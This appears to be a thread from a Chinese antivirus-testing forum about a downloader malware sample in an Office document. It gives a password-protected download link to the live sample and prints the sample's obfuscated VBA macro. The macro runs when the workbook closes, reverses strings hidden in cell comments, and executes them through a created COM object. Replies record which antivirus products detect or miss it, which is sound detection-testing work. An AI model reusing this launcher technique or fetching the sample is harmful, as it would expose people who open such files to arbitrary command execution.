#Downloader #RTF

显示全部楼层 · 发表于 2020-2-28 20:02:38

下载:https://www.lanzous.com/i9ru2xg 密码:810y

显示全部楼层 · 发表于 2020-2-28 20:04:21

本帖最后由 QVM360 于 2020-2-28 20:07 编辑

ESET MISS双击，被火绒系统进程防护拦截！
宏代码：

Private Sub Workbook_BeforeClose(Cancel As Boolean)
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
po = "C3"
bo = "C4"
If po = bo Then
Else
Worksheets(1).Activate
nbnnnnn = Range(po).Comment.Text
hgfhgyhg = StrReverse(Range(bo).Comment.Text)
mn = hhjhgj(nbnnnnn, hgfhgyhg)
End If
End Sub
Function hhjhgj(cdsee, crderrv)
'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox'MsgBox
Set uyuyuyu = CreateObject(crderrv)
uyuyuyu.Exec (StrReverse(cdsee))
End Function

复制代码

显示全部楼层 · 发表于 2020-2-28 20:12:54

Avast双击IDP报js

显示全部楼层 · 发表于 2020-2-28 20:18:28

AVIRA杀

显示全部楼层 · 发表于 2020-2-28 20:22:07

微点MISS

显示全部楼层 · 发表于 2020-2-28 20:22:57

毒霸扫描miss

显示全部楼层 · 发表于 2020-2-28 20:29:45

诺顿报低风险，还是杀了

显示全部楼层 · 发表于 2020-2-28 20:37:01

卡巴扫描miss

虚拟机office没装，实机双击

28.02.2020 20.35.40;检测到恶意软件;PDM:Exploit.Win32.Generic;Windows Command Processor;c:\windows\system32\cmd.exe;02/28/2020 20:35:40

显示全部楼层 · 发表于 2020-2-28 21:31:33

咖啡miss

显示全部楼层 · 发表于 2020-2-28 23:07:13

BD扫描miss，ATD杀。

[病毒样本] #Downloader #RTF

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源

本帖子中包含更多资源